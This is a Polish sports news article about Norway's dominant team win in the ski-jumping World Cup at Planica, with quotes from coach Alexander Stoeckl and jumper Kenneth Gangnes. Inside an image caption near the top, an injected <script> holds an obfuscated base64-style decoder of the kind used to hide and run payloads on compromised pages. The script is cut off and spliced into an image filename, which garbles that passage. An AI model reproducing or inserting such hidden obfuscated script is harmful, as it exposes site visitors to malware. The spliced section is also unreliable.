You are currently viewing Norwegowie zdeklasowali rywali w Planicy, Stoeckl: „Nie robimy nic szczególnego”

Norwegowie zdeklasowali rywali w Planicy, Stoeckl: „Nie robimy nic szczególnego”

WC.Zakopane.2016 Norwegowie konkurs.drużynowy - Norwegowie zdeklasowali rywali w Planicy, Stoeckl: „Nie robimy nic szczególnego”Ostatni w tym sezonie konkurs drużynowy nie pozostawił złudzeń – Norwegowie to obecnie najlepszy team w skokach narciarskich. Z ogromną przewagą, wynoszącą aż 58,4 punktu, Wikingowie pokonali przeciwników, odnosząc 16-ty drużynowy triumf. Po konkursie trener Stoeckl zdradził sekret swojej ekipy: – To dobra współpraca w teamie jest kluczem do sukcesu.

 

Stoeckl Alex<script><figcaption id= - Norwegowie zdeklasowali rywali w Planicy, Stoeckl: „Nie robimy nic szczególnego”function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander_WC.Klingenthal.2013_fot.Julia_.Piatkowska-300×200.jpg” alt=”Alexander Stoeckl, fot. Julia Piątkowska" width="300" height="200" /> Alexander Stoeckl, fot. Julia Piątkowska

Nie ulega wątpliwości, że od początku tego sezonu to Norwegowie odgrywali kluczowe role w kolejnych konkursach z cyklu Pucharu Świata. I chociaż indywidualnie bezkonkurencyjny okazał się Słoweniec, Peter Prevc, a mocne karty co rusz wyciągali Austriacy i Niemcy, to właśnie popularni Wikingowie byli najsilniejszą drużyną. Co więc sprawia, że norweski zespół tak brawurowo pnie się w górę? - Są tacy, którzy pytają, w czym tkwi nasz sekret; inni zakradają się i chcą bawić się w szpiegów. Ale prawda jest taka, że nie robimy nic szczególnego – mówi szkoleniowiec grupy, Alexander Stoecl. – Mamy wspaniałą atmosferę w zespole i świetnie działający system wsparcia sportowców. To właśnie tak dobra współpraca w teamie jest kluczem do sukcesudodaje.

Dzisiejsze zawody były pięknym spektaklem, który rozegrał się na oczach tysięcy widzów zgromadzonych pod Letalnicą. – To cudowne uczucie, mam nadzieję, że damy radę utrzymać tak wysoki poziom. Pokonać Słoweńców przed ich własną publicznością to naprawdę duży wyczyn. Cieszę się, że chłopcy potrafią tak dobrze się koncentrować – komentował na gorąco Stoeckl. Musimy pracować bardzo ciężko, by móc w przyszłym sezonie wykonać kolejny krok do przodu – zakończył trener.

8H7A0298 - Norwegowie zdeklasowali rywali w Planicy, Stoeckl: „Nie robimy nic szczególnego”
Kenneth Gangnes, fot. Julia Piątkowska

Triumfem w Planicy Norwegowie przypieczętowali wygraną w tegorocznym Pucharze Narodów. Od sezonu 2004/05 dziewięciokrotnie zwyciężała ekipa z Austrii, a po jednym triumfie notowali Niemcy i Norwegowie. W sumie, od 1979 roku, Skandynawowie byli najlepszą drużyną sześć razy. Już jutro sięgną po ten tytuł po raz siódmy. – To były niesamowite zawody dla naszego zespołu. Wspaniale było oddawać próby przed taką publicznością, to jak skoki we śniekomentował Kenneth Gangnes. – Wiemy, że drużynowo, przy takich skokach całej naszej czwórki, wyróżniamy się na tle innych zespołów.

DSC 1669 - Norwegowie zdeklasowali rywali w Planicy, Stoeckl: „Nie robimy nic szczególnego”
Anders Fannemel, fot. Bartosz Leja

Jutrzejsze zawody zakończą pucharową rywalizację. Póki co rekord w długości skoku, wynoszący 251,5 metra, a należący do Andersa Fannemela, pozostaje nienaruszony. Dziś najdalej lądował Peter Prevc, a w oddawaniu ponad 240-metrowych prób towarzyszył mu jedynie Stefan Kraft. Do 250. metra nie doleciał nikt. Czy jutro któryś z Norwegów (może sam Fannemel) będzie w stanie poszybować dalej? Kenenth Gangnes uważa, że jest to możliwe, jednak by tak się stało, konieczny jest splot wielu sprzyjających okoliczności. 

  

źródło: aftenposten.no / nrk.no

 

Dodaj komentarz